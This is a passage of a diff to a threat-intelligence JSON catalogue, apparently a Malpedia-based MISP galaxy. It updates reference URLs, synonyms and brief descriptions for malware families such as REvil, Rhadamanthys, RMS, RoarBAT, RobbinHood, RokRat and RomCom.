"https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", + "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", "https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", + "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", + "https://www.certego.net/en/news/malware-tales-sodinokibi/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", + "https://twitter.com/Jacob_Pimental/status/1391055792774729728", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", + "https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/", + "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs", + "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", + "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", + "https://twitter.com/VK_Intel/status/1374571480370061312?s=20", + "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", + "https://twitter.com/R3MRUM/status/1412064882623713283", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", - "https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://twitter.com/SyscallE/status/1411074271875670022", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/", + "https://www.youtube.com/watch?v=l2P5CMH9TE0", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", + "https://www.secureworks.com/research/lv-ransomware", + "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "http://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://velzart.nl/blog/ransomeware/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://www.youtube.com/watch?v=P8o6GItci5w", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://home.treasury.gov/news/press-releases/jy0471", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", + "https://redcanary.com/blog/uncompromised-kaseya/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", + "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", "https://securelist.com/sodin-ransomware/91473/", - "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", - "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", - "https://asec.ahnlab.com/ko/19860/", - "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://analyst1.com/file-assets/History-of-REvil.pdf", - "https://twitter.com/_alex_il_/status/1412403420217159694", - "https://twitter.com/svch0st/status/1411537562380816384", - "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", - "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", - "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", - "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - 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"https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://www.connectwise.com/resources/revil-profile", + "https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html", + "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", + "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", "https://isc.sans.edu/diary/27012", - "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", - "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs" + "https://vimeo.com/449849549", + "https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://twitter.com/fwosar/status/1420119812815138824", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://hatching.io/blog/ransomware-part2", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://www.youtube.com/watch?v=tZVFMVm5GAk", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://asec.ahnlab.com/ko/19640/", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", + "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", + "https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", + "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", + "https://www.cyjax.com/2021/07/09/revilevolution/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://www.youtube.com/watch?v=QYQQUUpU04s", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf" ], "synonyms": [ "Sodin", @@ -41635,16 +43587,16 @@ "meta": { "refs": [ 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"https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", + "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran" + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" ], "synonyms": [], "type": [] @@ -41657,14 +43609,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys", - 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"https://www.secureworks.com/research/the-growing-threat-from-infostealers", + "https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88", + "https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/", + "https://www.malware-traffic-analysis.net/2023/01/03/index.html", "https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/", - "https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/" + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [], "type": [] @@ -41698,6 +43655,25 @@ "uuid": "5f1bac43-6506-43f0-b5d6-709a39abd671", "value": "RHttpCtrl" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida", + 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"https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [], "type": [] @@ -41802,8 +43780,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://twitter.com/URSNIFleak" + "https://twitter.com/URSNIFleak", + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/" ], "synonyms": [], "type": [] @@ -41816,48 +43794,62 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", - "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf" + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", + "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" ], "synonyms": [ "Gussdoor", - "Remote Manipulator System" + "Remote Manipulator System", + "RuRAT" ], "type": [] }, "uuid": "94339b04-9332-4691-b820-5021368f1d3a", "value": "RMS" }, + { + "description": "According to SOCRadar, this is a batch script that uses WinRAR to delete files with target file extensions from a disk.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.roar_bat", + "https://socradar.io/sandworm-attackers-use-winrar-to-wipe-data-from-government-devices/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ef66505-9b5b-4a80-af64-b51dc7a006ba", + "value": "RoarBAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood", - "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://goggleheadedhacker.com/blog/post/12", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://twitter.com/VK_Intel/status/1121440931759128576", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", - "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", - "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://goggleheadedhacker.com/blog/post/12", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", - "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/" + "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", + "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://twitter.com/VK_Intel/status/1121440931759128576", + "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", + "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", + "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf" ], "synonyms": [ "RobbinHood" @@ -41886,10 +43878,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505" + "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] @@ -41914,9 +43906,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin", - "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" ], @@ -41944,35 +43936,36 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat", - "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", - "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", - "https://asec.ahnlab.com/en/51751/", - "https://www.ibm.com/downloads/cas/Z81AVOY7", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://www.youtube.com/watch?v=uoBQE5s2ba4", - "http://v3lo.tistory.com/24", - "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", - "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", - "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://securityintelligence.com/posts/itg10-targeting-south-korean-entities/", + "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://twitter.com/ESETresearch/status/1575103839115804672", "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", + "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", + "http://v3lo.tistory.com/24", + "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://twitter.com/ESETresearch/status/1575103839115804672", + "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", + "https://asec.ahnlab.com/en/51751/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", + "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", + "https://unit42.paloaltonetworks.com/atoms/moldypisces/", + "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", - "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://www.ibm.com/downloads/cas/Z81AVOY7", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", - "https://unit42.paloaltonetworks.com/atoms/moldypisces/", - "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab" + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/" ], "synonyms": [ "DOGCALL" @@ -42019,10 +44012,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat", + "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/", + "https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html", + "https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/", "https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries", - "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass", + 